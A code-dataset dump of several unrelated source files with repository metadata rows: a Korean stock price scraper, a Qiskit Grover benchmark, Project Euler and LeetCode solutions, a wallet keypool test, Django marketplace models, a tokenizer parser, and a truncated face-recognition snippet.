priceDF = pd.DataFrame(columns=['date', 'code', 'name',
'open_price', 'high_price', 'low_price', 'close_price',
'cap_amount', 'volume', 'tot_amount'],)
def convertDate8To10(date8):
dstr = date8.split('/')
yy = '20'+dstr[0]
return '20%s-%s-%s' % (dstr[0], dstr[1], dstr[2])
def getPortCodeList():
global code_list
query = 'select port_code from univ_port_table'
cursor.execute (query)
for row in cursor:
code_list.append(row[0][1:])
def getStockPriceXMLFiles():
global XMLDIR
global code_list
for scode in code_list:
url = "http://asp1.krx.co.kr/servlet/krx.asp.XMLSiseEng?code=%s" % scode
fp = urllib.request.urlopen(url)
xmlbytes = fp.read()
xmlstr = xmlbytes.decode("utf8")
fp.close()
with open("%s\\xml_%s.xml" % (XMLDIR,scode), "w") as text_file:
text_file.write(xmlstr)
def buildPriceDFFromXML(code):
global XMLDIR
global priceDF
xmlfile_name = "%s/xml_%s.xml" % (XMLDIR,code)
#print (xmlfile_name)
with open(xmlfile_name, mode='rt') as xml_file:
xmldoc = xml_file.read()
#print(xmldoc)
root = ET.fromstring(xmldoc.strip())
si = root.find('TBL_StockInfo')
st_amount = 0 if si.attrib['Amount']=='' else int(si.attrib['Amount'].replace(',', ''))
st_name = si.attrib['JongName']
for ds in root.iter('DailyStock'):
pr = {'code':code, 'name':st_name}
pr['date'] = convertDate8To10(ds.attrib['day_Date'])
pr['open_price'] = int(ds.attrib['day_Start'].replace(',', ''))
pr['high_price'] = int(ds.attrib['day_High'].replace(',', ''))
pr['low_price'] = int(ds.attrib['day_Low'].replace(',', ''))
pr['close_price'] = int(ds.attrib['day_EndPrice'].replace(',', ''))
pr['cap_amount'] = None if st_amount==None else int(st_amount * pr['close_price'] / 1000000)
pr['volume'] = int(ds.attrib['day_Volume'].replace(',', ''))
pr['tot_amount'] = st_amount
#print (pr)
priceDF = priceDF.append(pr, ignore_index=True)
def buildPriceDFFromXMLFiles():
global code_list
for scode in code_list:
buildPriceDFFromXML(scode)
if __name__ == "__main__":
getPortCodeList()
print ("Get Stock Price XML Files")
getStockPriceXMLFiles()
print ("Build Stock PriceDF")
buildPriceDFFromXMLFiles()
#print (priceDF.head(10))
#print (priceDF.tail(10))
#print (priceDF.dtypes)
print ("Update Stock Price DB")
#updateStockPriceDB() | [
"csknova@gmail.com"
] | csknova@gmail.com |
a879df24d86dc8af1ae7633235f859be1a1e0509 | 09e57dd1374713f06b70d7b37a580130d9bbab0d | /benchmark/startQiskit_QC1759.py | bcb20cc7d58111256fe3f74a18f02994896b444e | [
"BSD-3-Clause"
] | permissive | UCLA-SEAL/QDiff | ad53650034897abb5941e74539e3aee8edb600ab | d968cbc47fe926b7f88b4adf10490f1edd6f8819 | refs/heads/main | 2023-08-05T04:52:24.961998 | 2021-09-19T02:56:16 | 2021-09-19T02:56:16 | 405,159,939 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,797 | py | # qubit number=5
# total number=60
import cirq
import qiskit
from qiskit import IBMQ
from qiskit.providers.ibmq import least_busy
from qiskit import QuantumCircuit, QuantumRegister, ClassicalRegister
from qiskit import BasicAer, execute, transpile
from pprint import pprint
from qiskit.test.mock import FakeVigo
from math import log2,floor, sqrt, pi
import numpy as np
import networkx as nx
def build_oracle(n: int, f) -> QuantumCircuit:
# implement the oracle O_f^\pm
# NOTE: use U1 gate (P gate) with \lambda = 180 ==> CZ gate
# or multi_control_Z_gate (issue #127)
controls = QuantumRegister(n, "ofc")
oracle = QuantumCircuit(controls, name="Zf")
for i in range(2 ** n):
rep = np.binary_repr(i, n)
if f(rep) == "1":
for j in range(n):
if rep[j] == "0":
oracle.x(controls[j])
# oracle.h(controls[n])
if n >= 2:
oracle.mcu1(pi, controls[1:], controls[0])
for j in range(n):
if rep[j] == "0":
oracle.x(controls[j])
# oracle.barrier()
return oracle
def make_circuit(n:int,f) -> QuantumCircuit:
# circuit begin
input_qubit = QuantumRegister(n,"qc")
classical = ClassicalRegister(n, "qm")
prog = QuantumCircuit(input_qubit, classical)
prog.h(input_qubit[0]) # number=3
prog.x(input_qubit[4]) # number=53
prog.cx(input_qubit[2],input_qubit[0]) # number=45
prog.z(input_qubit[2]) # number=46
prog.h(input_qubit[0]) # number=54
prog.cz(input_qubit[2],input_qubit[0]) # number=55
prog.h(input_qubit[0]) # number=56
prog.h(input_qubit[1]) # number=4
prog.rx(2.664070570244145,input_qubit[1]) # number=39
prog.h(input_qubit[2]) # number=5
prog.h(input_qubit[3]) # number=6
prog.h(input_qubit[2]) # number=49
prog.cz(input_qubit[3],input_qubit[2]) # number=50
prog.h(input_qubit[2]) # number=51
prog.h(input_qubit[4]) # number=21
Zf = build_oracle(n, f)
repeat = floor(sqrt(2 ** n) * pi / 4)
for i in range(repeat):
prog.append(Zf.to_gate(), [input_qubit[i] for i in range(n)])
prog.h(input_qubit[0]) # number=1
prog.h(input_qubit[3]) # number=40
prog.y(input_qubit[4]) # number=35
prog.h(input_qubit[1]) # number=2
prog.h(input_qubit[2]) # number=7
prog.h(input_qubit[3]) # number=8
prog.h(input_qubit[0]) # number=25
prog.cz(input_qubit[1],input_qubit[0]) # number=26
prog.h(input_qubit[0]) # number=27
prog.h(input_qubit[0]) # number=36
prog.cz(input_qubit[1],input_qubit[0]) # number=37
prog.h(input_qubit[0]) # number=38
prog.cx(input_qubit[1],input_qubit[0]) # number=41
prog.x(input_qubit[0]) # number=42
prog.cx(input_qubit[1],input_qubit[0]) # number=43
prog.cx(input_qubit[1],input_qubit[0]) # number=34
prog.cx(input_qubit[1],input_qubit[0]) # number=24
prog.cx(input_qubit[0],input_qubit[1]) # number=29
prog.cx(input_qubit[2],input_qubit[3]) # number=44
prog.x(input_qubit[1]) # number=30
prog.h(input_qubit[1]) # number=57
prog.cz(input_qubit[0],input_qubit[1]) # number=58
prog.h(input_qubit[1]) # number=59
prog.x(input_qubit[2]) # number=11
prog.x(input_qubit[3]) # number=12
if n>=2:
prog.mcu1(pi,input_qubit[1:],input_qubit[0])
prog.x(input_qubit[0]) # number=13
prog.x(input_qubit[1]) # number=14
prog.x(input_qubit[2]) # number=15
prog.x(input_qubit[3]) # number=16
prog.h(input_qubit[0]) # number=17
prog.h(input_qubit[1]) # number=18
prog.h(input_qubit[2]) # number=19
prog.h(input_qubit[3]) # number=20
prog.z(input_qubit[1]) # number=52
# circuit end
for i in range(n):
prog.measure(input_qubit[i], classical[i])
return prog
if __name__ == '__main__':
key = "00000"
f = lambda rep: str(int(rep == key))
prog = make_circuit(5,f)
IBMQ.load_account()
provider = IBMQ.get_provider(hub='ibm-q')
provider.backends()
backend = least_busy(provider.backends(filters=lambda x: x.configuration().n_qubits >= 2 and not x.configuration().simulator and x.status().operational == True))
sample_shot =7924
info = execute(prog, backend=backend, shots=sample_shot).result().get_counts()
backend = FakeVigo()
circuit1 = transpile(prog,backend,optimization_level=2)
writefile = open("../data/startQiskit_QC1759.csv","w")
print(info,file=writefile)
print("results end", file=writefile)
print(circuit1.depth(),file=writefile)
print(circuit1,file=writefile)
writefile.close()
| [
"wangjiyuan123@yeah.net"
] | wangjiyuan123@yeah.net |
545da2d80571e4c8539199e79b3b92fa018cd91d | 8629b45d5cec27fa701c76644db2a1ac9a090b07 | /016/16.py | e848effd4500e3781e5281f0b148d840ea536535 | [
"MIT"
] | permissive | bsamseth/project-euler | 96e3a7a94cc605ded3edf7176a93147f9836350e | 60d70b117960f37411935bc18eab5bb2fca220e2 | refs/heads/master | 2021-04-06T06:16:23.425225 | 2018-11-05T09:50:21 | 2018-11-05T09:50:21 | 59,105,649 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 175 | py | """
2^15 = 32768 and the sum of its digits is 3 + 2 + 7 + 6 + 8 = 26.
What is the sum of the digits of the number 2^1000?
"""
print sum([int(char) for char in str(2**1000)])
| [
"b.samseth@gmail.com"
] | b.samseth@gmail.com |
c70625ed21d14a9898fcf4634d6fce764308da76 | 225052e8d4b45764a1d210834e9e9e6dc81cde19 | /buy_sell/models.py | 14530a7804c84284b5f0b9e4697691fe37bd353c | [] | no_license | vishnu-k-s/Buy-Sell-App | 99d8b50cce1a95466bfc2e29894c553b21d7d208 | fa92bdf17b8a5e1e3f91fd5096e216fdd2febdb8 | refs/heads/master | 2023-08-13T20:34:39.397877 | 2021-10-13T04:52:33 | 2021-10-13T04:52:33 | 394,286,781 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,864 | py | from django.db import models
#Model for user registration
class NewUser(models.Model):
username = models.CharField(max_length=150)
name = models.CharField(max_length=150)
email = models.EmailField(max_length=150)
phonenumber = models.CharField(max_length=10)
password = models.CharField(max_length=150)
def __str__(self):
return self.name
#Model for category details
class Category(models.Model):
name = models.CharField(max_length=50)
def __str__(self):
return self.name
#Model for products
class Product(models.Model):
ownerusername = models.CharField(max_length=100, null=True, blank=True)
owneremail = models.EmailField(max_length=100, null=True, blank=True)
name = models.CharField(max_length=50)
price = models.IntegerField(default=0)
category = models.ForeignKey(Category, on_delete=models.CASCADE, default=1)
description = models.CharField(max_length=500, default='', null=True, blank=True)
image = models.ImageField(upload_to='images/productimages/', default='images/niimage.png',null=True, blank=True)
status = models.CharField(max_length=100, default='sale')
#Model for purchased products
class MyPurchases(models.Model):
customeremail = models.EmailField(max_length=150, default='')
name = models.CharField(max_length=50)
price = models.IntegerField(default=0)
#category = models.CharField(max_length=50,default='', null=True, blank=True)
#description = models.CharField(max_length=500, default='', null=True, blank=True)
image = models.ImageField(upload_to='images/productimages/', null=True, blank=True)
#Model for Notifications
class Notifications(models.Model):
seller_mail_id = models.EmailField(max_length=150)
buyer_mail_id = models.EmailField(max_length=150)
notifications = models.CharField(max_length=250) | [
"vishnusajeevks@gmail.com"
] | vishnusajeevks@gmail.com |
852bcee70e02a31eea4fdda750582f430f99ea17 | 11ca0c393c854fa7212e783a34269f9dae84e8c7 | /Python/226. 翻转二叉树.py | 38463da19db06e4efb8634aea7b35a3f18030818 | [] | no_license | VictoriqueCQ/LeetCode | dc84d81163eed26fa9dbc2114bba0b5c2ea881f4 | a77b3ead157f97f5d9599badb4d4c5da69de44ba | refs/heads/master | 2021-06-05T06:40:24.659909 | 2021-03-31T08:31:51 | 2021-03-31T08:31:51 | 97,978,957 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 503 | py | # Definition for a binary tree node.
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution:
def invertTree(self, root: TreeNode) -> TreeNode:
if not root:
return None
def dfs(root):
if not root:
return
root.left, root.right = root.right, root.left
dfs(root.left)
dfs(root.right)
dfs(root)
return root
| [
"1997Victorique0317"
] | 1997Victorique0317 |
5ec96d7131356ad296544e70d1bc1140fcc2dd98 | 0b2bb9df09731ccc8748b0b7bf66a7a427d4e416 | /test/functional/wallet_keypool.py | 0303dd4a10afad103bc64c8ac21328401843d480 | [
"MIT"
] | permissive | tcilloni/cillocoin | aae0e5bbcb4808c489ac42d1db2725bfd4b42c5a | 1145e189b9f5f4fab414fc1751bf1fce189770c9 | refs/heads/master | 2022-06-09T23:58:47.924597 | 2019-05-03T15:25:48 | 2019-05-03T15:25:48 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,423 | py | #!/usr/bin/env python3
# Copyright (c) 2014-2017 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test the wallet keypool and interaction with wallet encryption/locking."""
from test_framework.test_framework import CillocoinTestFramework
from test_framework.util import *
class KeyPoolTest(CillocoinTestFramework):
def set_test_params(self):
self.num_nodes = 1
def run_test(self):
nodes = self.nodes
addr_before_encrypting = nodes[0].getnewaddress()
addr_before_encrypting_data = nodes[0].validateaddress(addr_before_encrypting)
wallet_info_old = nodes[0].getwalletinfo()
assert(addr_before_encrypting_data['hdmasterkeyid'] == wallet_info_old['hdmasterkeyid'])
# Encrypt wallet and wait to terminate
nodes[0].node_encrypt_wallet('test')
# Restart node 0
self.start_node(0)
# Keep creating keys
addr = nodes[0].getnewaddress()
addr_data = nodes[0].validateaddress(addr)
wallet_info = nodes[0].getwalletinfo()
assert(addr_before_encrypting_data['hdmasterkeyid'] != wallet_info['hdmasterkeyid'])
assert(addr_data['hdmasterkeyid'] == wallet_info['hdmasterkeyid'])
assert_raises_rpc_error(-12, "Error: Keypool ran out, please call keypoolrefill first", nodes[0].getnewaddress)
# put six (plus 2) new keys in the keypool (100% external-, +100% internal-keys, 1 in min)
nodes[0].walletpassphrase('test', 12000)
nodes[0].keypoolrefill(6)
nodes[0].walletlock()
wi = nodes[0].getwalletinfo()
assert_equal(wi['keypoolsize_hd_internal'], 6)
assert_equal(wi['keypoolsize'], 6)
# drain the internal keys
nodes[0].getrawchangeaddress()
nodes[0].getrawchangeaddress()
nodes[0].getrawchangeaddress()
nodes[0].getrawchangeaddress()
nodes[0].getrawchangeaddress()
nodes[0].getrawchangeaddress()
addr = set()
# the next one should fail
assert_raises_rpc_error(-12, "Keypool ran out", nodes[0].getrawchangeaddress)
# drain the external keys
addr.add(nodes[0].getnewaddress())
addr.add(nodes[0].getnewaddress())
addr.add(nodes[0].getnewaddress())
addr.add(nodes[0].getnewaddress())
addr.add(nodes[0].getnewaddress())
addr.add(nodes[0].getnewaddress())
assert(len(addr) == 6)
# the next one should fail
assert_raises_rpc_error(-12, "Error: Keypool ran out, please call keypoolrefill first", nodes[0].getnewaddress)
# refill keypool with three new addresses
nodes[0].walletpassphrase('test', 1)
nodes[0].keypoolrefill(3)
# test walletpassphrase timeout
time.sleep(1.1)
assert_equal(nodes[0].getwalletinfo()["unlocked_until"], 0)
# drain them by mining
nodes[0].generate(1)
nodes[0].generate(1)
nodes[0].generate(1)
assert_raises_rpc_error(-12, "Keypool ran out", nodes[0].generate, 1)
nodes[0].walletpassphrase('test', 100)
nodes[0].keypoolrefill(100)
wi = nodes[0].getwalletinfo()
assert_equal(wi['keypoolsize_hd_internal'], 100)
assert_equal(wi['keypoolsize'], 100)
if __name__ == '__main__':
KeyPoolTest().main()
| [
"thomas.martin.cilloni@gmail.com"
] | thomas.martin.cilloni@gmail.com |
f575acf5003fca4bb2f4ca047e2c00e3da6ca5bf | d1dc4dcd113acc3a954dc1fcadb584acb2135dbe | /adia/sequence.py | 810d445953712affb878b649ef818cabc74830f6 | [
"MIT"
] | permissive | denysmiller/adia | 24a881b551def89b2e69bc1cef215d93174f71d5 | 86dc0c96c9b0bd804dff208e91c71a1958df56b0 | refs/heads/master | 2023-08-27T15:01:46.537505 | 2021-09-14T21:43:11 | 2021-09-14T21:43:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,955 | py | from io import StringIO
from .lazyattr import LazyAttribute
from .container import Container
from .interpreter import Interpreter, Consume, Final, FinalConsume, New, \
Ignore, Goto, Switch
from .token import NAME, NEWLINE, EVERYTHING, RARROW, COLON, AT, HASH, EOF, \
DOT, DEDENT, INDENT, MULTILINE, TILDA
class Module:
title = None
type = 'module'
def __init__(self, title):
self.title = title
class Item(Interpreter):
kind = None
args = None
text = None
multiline = None
def __init__(self, *args, **kw):
super().__init__('start', *args, **kw)
def _complete(self, kind, *args, text=None, multiline=False):
self.kind = kind
self.args = args
self.text = text.strip() if text else None
self.multiline = multiline
def _finish_multiline(self, kind, *args):
return self._finish(kind, *args, multiline=True)
def _finish(self, kind, *args, **kw):
args = list(args)
nargs = []
while args:
a = args.pop(0)
if a == ':':
break
nargs.append(a)
if args:
text = args[0]
else:
text = None
return self._complete(kind, *nargs, text=text, **kw)
@property
def left(self):
return self.kind
@property
def right(self):
return self.text
def __repr__(self):
return f'SequenceItem: {self.left}'
def dumps(self):
f = StringIO()
f.write(self.left)
if self.right:
f.write(': ')
if self.multiline:
f.write('|\n')
for line in self.right.splitlines():
f.write(f' {line}\n')
else:
f.write(f'{self.right}')
return f.getvalue()
statemap = {
'start': {
NAME: Goto(nextstate='name'),
},
'name': {
NAME: Goto(nextstate='name'),
TILDA: Goto(nextstate='name'),
NEWLINE: FinalConsume(_finish, alltokens=True),
COLON: Goto(nextstate=':'),
},
':': {
MULTILINE: FinalConsume(_finish_multiline, alltokens=True),
EVERYTHING: {
NEWLINE: FinalConsume(_finish, alltokens=True)
}
},
}
class Note(Item):
multiline = False
@LazyAttribute
def modules(self):
result = []
for m in self.args:
if m == '~':
continue
result.append(m)
return result
@LazyAttribute
def left(self):
result = self.kind
if self.args:
result += f'{" ".join(self.args)}'
return result
def _finish(self, *args, **kw):
super()._finish('@', *args, **kw)
statemap = {
'start': {NAME: {
TILDA: {
COLON: Goto(nextstate=':'),
NAME: {
COLON: Goto(nextstate=':'),
},
},
COLON: Goto(nextstate=':'),
}},
':': {
MULTILINE: FinalConsume(Item._finish_multiline, alltokens=True),
EVERYTHING: {
NEWLINE: FinalConsume(_finish, alltokens=True)
}
},
}
class ContainerItem(Item, Container):
def dumps(self):
f = StringIO()
f.write(super().dumps())
if len(self):
f.write('\n')
for c in self:
for line in c.dumps().splitlines():
f.write(f' {line}\n')
return f.getvalue().rstrip('\n')
class Call(ContainerItem):
caller = None
callee = None
returntext = None
returnsign = '=>'
@LazyAttribute
def left(self):
return f'{self.caller} -> {self.callee}'
@LazyAttribute
def right(self):
if not self.text:
return
f = StringIO()
f.write(self.text)
if self.returntext:
f.write(f' {self.returnsign} {self.returntext}')
return f.getvalue()
def _complete(self, caller, callee, text=None):
self.caller = caller
self.callee = callee
if text and self.returnsign in text:
text, returntext = text.rsplit(self.returnsign, 1)
self.returntext = returntext.strip()
super()._complete('call', text=text)
statemap = {
'start': {NAME: {RARROW: {NAME: Goto(nextstate='name -> name')}}},
'name -> name': {
NEWLINE: FinalConsume(_complete),
EOF: FinalConsume(_complete),
COLON: Goto(nextstate=':'),
},
':': {EVERYTHING: {
NEWLINE: FinalConsume(_complete)
}}
}
class Loop(ContainerItem):
pass
class Condition(ContainerItem):
pass
class SequenceDiagram(Interpreter, Container):
"""Represents a sequence diagram.
The :class:`adia.diagram` class creates an instance of this class for
each sequence diagram section.
"""
title = 'Untitled Sequence Diagram'
description = None
tags = None
def __init__(self, *args, **kwargs):
super().__init__('title', *args, **kwargs)
self.modules = {}
self.modules_order = []
self._callstack = []
def __repr__(self):
return f'SequenceDiagram: {self.title}'
def dumps(self):
f = StringIO()
f.write('sequence:')
if self.title:
f.write(f' {self.title}')
f.write('\n')
if self.description:
f.write(f'description: {self.description}\n')
if self.tags:
f.write(f'tags: {self.tags}\n')
modattrs = []
for k, v in sorted(self.modules.items()):
if k != v.title:
modattrs.append((k, 'title', v.title))
if 'module' != v.type:
modattrs.append((k, 'type', v.type))
if modattrs:
f.write('\n# Modules\n')
for m, a, v in modattrs:
f.write(f'{m}.{a}: {v}\n')
if len(self):
f.write('\n')
for c in self:
f.write(f'{c.dumps()}\n')
return f.getvalue()
def _ensuremodule(self, name, visible=False):
if name not in self.modules:
self.modules[name] = Module(name)
if visible and name not in self.modules_order:
self.modules_order.append(name)
@property
def current(self):
if self._callstack:
return self._callstack[-1]
return self
def _indent(self):
if len(self.current):
self._callstack.append(self.current[-1])
def _dedent(self):
if self._callstack:
self._callstack.pop()
def _new_call(self, call):
self._ensuremodule(call.caller, visible=True)
self._ensuremodule(call.callee, visible=True)
self.current.append(call)
def _new_note(self, note):
for m in note.modules:
self._ensuremodule(m, visible=False)
self.current.append(note)
def _new_loop(self, loop):
self.current.append(loop)
def _new_condition(self, condition):
self.current.append(condition)
def _attr(self, attr, value):
value = value.strip()
if attr == 'description':
self.description = value
elif attr == 'tags':
self.tags = value
else:
raise AttributeError(attr)
def _set_title(self, value):
self.title = value.strip()
def _module_attr(self, module, attr, value):
if not hasattr(Module, attr):
raise AttributeError(module, attr)
self._ensuremodule(module)
setattr(self.modules[module], attr, value.strip())
_keywords = {
'sequence': Final(nextstate='sequence'),
'state': Final(nextstate='start'),
'class': Final(nextstate='start'),
'for': New(Loop, callback=_new_loop, nextstate='start'),
'while': New(Loop, callback=_new_loop, nextstate='start'),
'loop': New(Loop, callback=_new_loop, nextstate='start'),
'if': New(Condition, callback=_new_condition, nextstate='start'),
'alt': New(Condition, callback=_new_condition, nextstate='start'),
'elif': New(Condition, callback=_new_condition, nextstate='start'),
'else': New(Condition, callback=_new_condition, nextstate='start'),
}
statemap = {
'title': {
EVERYTHING: {
NEWLINE: Consume(_set_title, nextstate='start')
}
},
'start': {
HASH: {EVERYTHING: {NEWLINE: Ignore(nextstate='start')}},
NEWLINE: Ignore(nextstate='start'),
INDENT: Ignore(callback=_indent, nextstate='indent'),
DEDENT: Ignore(callback=_dedent, nextstate='start'),
EOF: Final(nextstate='start'),
NAME: Switch(default=Goto(nextstate='name'), **_keywords),
AT: Ignore(nextstate='@'),
},
'indent': {
HASH: {EVERYTHING: {NEWLINE: Ignore(nextstate='start')}},
NAME: Switch(default=Goto(nextstate=' name'), **_keywords),
AT: Ignore(nextstate='@'),
NEWLINE: Ignore(nextstate='start'),
INDENT: Ignore(callback=_indent, nextstate='indent'),
},
'name': {
RARROW: New(Call, callback=_new_call, nextstate='start'),
COLON: Goto(nextstate='attr:'),
DOT: {NAME: {COLON: Goto(nextstate='mod.attr:')}},
},
' name': {
RARROW: New(Call, callback=_new_call, nextstate='start')
},
'attr:': {
EVERYTHING: {NEWLINE: Consume(_attr, nextstate='start')}
},
'mod.attr:': {
EVERYTHING: {NEWLINE: Consume(_module_attr, nextstate='start')}
},
'@': {
NAME: New(Note, callback=_new_note, nextstate='start'),
}
}
| [
"vahid.mardani@gmail.com"
] | vahid.mardani@gmail.com |
1ac9526b04e496e36c8caa591056247ab113c9a8 | fea444217851a92510651da2b60035b73344d7da | /todo/setup.py | ee4284355e4449097dd3991ca5c42f45b5f04dbb | [] | no_license | fuzzygwalchmei/scratchingPost | c70d4f3f37d3d4d6490edfbbae603305b2bb5764 | b232c54aac975aebb0945d66a841db3f241b7cd2 | refs/heads/master | 2023-01-29T13:02:22.615813 | 2020-12-15T00:47:56 | 2020-12-15T00:47:56 | 176,823,898 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 567 | py | from sqlalchemy.orm import sessionmaker
from sqlalchemy import Column, Integer, String, create_engine
from sqlalchemy.ext.declarative import declarative_base
engine = create_engine('sqlite:///todo.db')
Session = sessionmaker(bind=engine)
session = Session()
Base = declarative_base()
class ToDo(Base):
__tablename__ = 'todos'
id = Column(Integer, primary_key=True)
subject = Column(String)
note = Column(String)
def __repr__(self):
return f'<ToDo(id: {self.id} - note: {self.note}'
Base.metadata.create_all(engine)
session.commit() | [
"marc.falzon@gmail.com"
] | marc.falzon@gmail.com |
0d67d821dd5dd3cad7929858c70e6c54b367a7bc | 8a59aef3a0d28ac3bc44854241b9c984ac279595 | /Exceptions 3.py | 076292730616f27fa3a4c96f057d196517508770 | [] | no_license | LaurNetz/Exceptions | aead6bb9c42addeadf2ad70fbcb6a1c4206a1694 | 8d67f0ff3c68fcc934aa5ce5e2201faa87366729 | refs/heads/master | 2020-05-22T09:40:32.168338 | 2019-05-12T19:34:07 | 2019-05-12T19:34:07 | 186,296,040 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 156 | py | try:
with open ("Datei.xyz", "r") as file:
print(file)
print(5 / 0)
except FileNotFoundError:
print("Datei wurde nicht gefunden")
| [
"49392741+LaurNetz@users.noreply.github.com"
] | 49392741+LaurNetz@users.noreply.github.com |
0a57942b9958442ababf76cf5c5edea1a6dacd8a | 13f4a06cd439f579e34bf38406a9d5647fe7a0f3 | /nn_ns/parse/MyLL1L/ProcessMatchResult_MyLL1L_of_SRRTL.py | 0aef1359eb2e3c4617306d57faaef7e442c70f50 | [] | no_license | edt-yxz-zzd/python3_src | 43d6c2a8ef2a618f750b59e207a2806132076526 | 41f3a506feffb5f33d4559e5b69717d9bb6303c9 | refs/heads/master | 2023-05-12T01:46:28.198286 | 2023-05-01T13:46:32 | 2023-05-01T13:46:32 | 143,530,977 | 2 | 2 | null | null | null | null | UTF-8 | Python | false | false | 5,673 | py |
from .tools_for_id2infoID_SRRTL import *
from .SRRTL_in_MyLL1L import mainID_MyLL1L_of_SRRTL
from .ProcessMatchResult_MyLL1L import ProcessMatchResult_MyLL1L
from .raw_tokenize_SRRTL import RawTokenizer_SRRTL
#from .id2infoID_MyLL1L_of_MyLL1L import tIDDict_MyLL1L_of_MyLL1L
class ProcessMatchResult_MyLL1L_of_SRRTL(ProcessMatchResult_MyLL1L):
def __init__(self, tIDDict_MyLL1L_of_SRRTL, tokens, pos2rc = None):
super().__init__(tIDDict_MyLL1L_of_SRRTL, tokens, pos2rc)
return
def to_id2infoID(self, match_result):
info_ls = self.process(match_result)
id2infoID = {info.ID : info for info in info_ls}
return id2infoID
def to_raw_tokenizer(self, mainID, match_result):
id2infoID = self.to_id2infoID(match_result)
assert mainID in id2infoID
return RawTokenizer_SRRTL(mainID, id2infoID)
def _pre_process(self, match_result):pass
def _process_leaf(self, match_result):pass
# match_result2raw_id2info
def _get_result(self, match_result):
raw_id2info = {}
ns = match_result[-1]
info_ls = ns.data
return info_ls
def _post_process(self, match_result):
explain = self.explain
e = self.explain(match_result)
tID = e.tID
ID, *rID = tID
ns = e.ns
case = e.define_type
self.gen_ns_data(e)
self.outbox_optional_Item(e)
if case == 'Token':
if ID == 'string':
ns.data = eval(ns.data)
assert type(ns.data) == str
elif ID == 'idstring':
ns.data = eval(ns.data[2:])
assert type(ns.data) == str
elif tID == ('define', 'otherwise'):
ns.data = None # rex anything
elif ID == 'state_op':
assert tID == ('state_op', 'return')
ns.data = InfoReturn()
elif case == 'Item':
pass
elif case == 'Block':
pass
#print(ID, repr(ns.data))
elif ID == 'strings':
ns.data = ''.join(ns.data)
elif ID == 'name':
ID, = rID
assert ID == 'idstrings'
ns.data = ''.join(ns.data)
ns.data = repr(ns.data)
elif ID == 'if_clause':
assert not rID
ns.data = ns.data[1]
elif ID == 'state_op':
ID, = rID
#print(tID)
if ID == 'goto':
state_id = ns.data[1]
ns.data = InfoGoto(state_id)
elif ID == 'call':
state_id = ns.data[1]
ns.data = InfoCall(state_id)
else:
assert ID == 'error'
err = ns.data[1]
ns.data = InfoError(err)
## elif ID == 'define':
## ID, = rID
## assert ID == 'rex'
## rex, = e[0].ns.data
## ns.data = rex
elif ID == 'define_body':
ID, = rID
if ID == 'normal_define':
rex, _, children = ns.data
if not children:
children = []
ns.data = InfoNormalDefine(rex, children)
else:
assert ID == 'define_if_clause'
rex, state_op, _ = ns.data # rex - None - match all
#print(state_op, rex)
ns.data = InfoDefineIfClause(state_op, rex)
elif ID == 'name_eq':
assert not rID
ns.data, _ = ns.data
elif ID == 'define_token_type':
ID, = rID
_id = None
if ID == 'named_define':
_id, body = ns.data
else:
body = ns.data
ns.data = InfoDefineTypeID(_id, body)
elif ID == 'sub_define_block':
assert not rID
_, ns.data, _ = ns.data
elif ID == 'define_state':
assert not rID
_id, _, children = ns.data
ns.data = InfoDefineStateID(_id, children)
## elif ID in {'rex', 'state_id', 'type_id', 'id'}:
## assert not rID
## ns.data, = e[0].ns.data
## #print(ID, ns.data)
## elif ID in {mainID_MyLL1L_of_SRRTL, 'define_block'}:
## assert not rID
## ns.data = e[0].ns.data
## #print(ID, ns.data)
#def lang_text2raw_id2info():
def test_ProcessMatchResult_MyLL1L_of_SRRTL():
from .parser_MyLL1L_of_SRRTL import parser_MyLL1L_of_SRRTL
from .SRRTL_in_MyLL1L import SRRTL_in_MyLL1L, mainID_MyLL1L_of_SRRTL
from .raw_tokenize_SRRTL import raw_tokenize_SRRTL
from .id2infoID_SRRTL_of_SRRTL import id2infoID_SRRTL_of_SRRTL
from .SRRTL_in_SRRTL import mainID_SRRTL_of_SRRTL, SRRTL_in_SRRTL
raw_tokens = list(raw_tokenize_SRRTL(SRRTL_in_SRRTL, \
mainID_SRRTL_of_SRRTL, id2infoID_SRRTL_of_SRRTL))
_tokenize = parser_MyLL1L_of_SRRTL.tokenize
_parse = parser_MyLL1L_of_SRRTL.parse_tokens
tIDDict = parser_MyLL1L_of_SRRTL.tIDDict
tokens = _tokenize(SRRTL_in_SRRTL)
_match_result = _parse(tokens)
raw_tokenizer = ProcessMatchResult_MyLL1L_of_SRRTL(tIDDict, tokens)\
.to_raw_tokenizer(mainID_SRRTL_of_SRRTL, _match_result)
_raw_tokens = list(raw_tokenizer.raw_tokenize(SRRTL_in_SRRTL))
if not _raw_tokens == raw_tokens:
assert repr(_raw_tokens) == repr(raw_tokens)
print(_raw_tokens)
print(raw_tokens)
assert _raw_tokens == raw_tokens
if __name__ == '__main__':
test_ProcessMatchResult_MyLL1L_of_SRRTL()
| [
"wuming_zher@zoho.com.cn"
] | wuming_zher@zoho.com.cn |
7062764757830277e1ddde4564a206ae57dab4da | e7d318945518cb6be9c44e85adb2d6e1024b5100 | /recog.py | 5d4e688576401f783a6d3d544c805a1ff008679e | [] | no_license | Nagaraja007/face-recongition-system | 5c62688fc73fa570b710755471df581d9700f58b | 53217fbcaf724d6726733580e9c608b0716a26f3 | refs/heads/main | 2023-01-13T11:37:28.785449 | 2020-11-23T07:55:13 | 2020-11-23T07:55:13 | 315,236,745 | 0 | 0 | null | 2020-11-23T07:53:21 | 2020-11-23T07:42:37 | Python | UTF-8 | Python | false | false | 1,105 | py | import cv2
import numpy as np
import face_recognition
imgBabu = face_recognition.load_image_file('Images/Elon musk.jpg')
imgBabu = cv2.cvtColor(imgBabu, cv2.COLOR_BGR2RGB)
imgTest = face_recognition.load_image_file('Images/Mahesh Test.jpg')
imgTest = cv2.cvtColor(imgTest, cv2.COLOR_BGR2RGB)
faceLoc = face_recognition.face_locations(imgBabu)[0]
encodeBabu = face_recognition.face_encodings(imgBabu)[0]
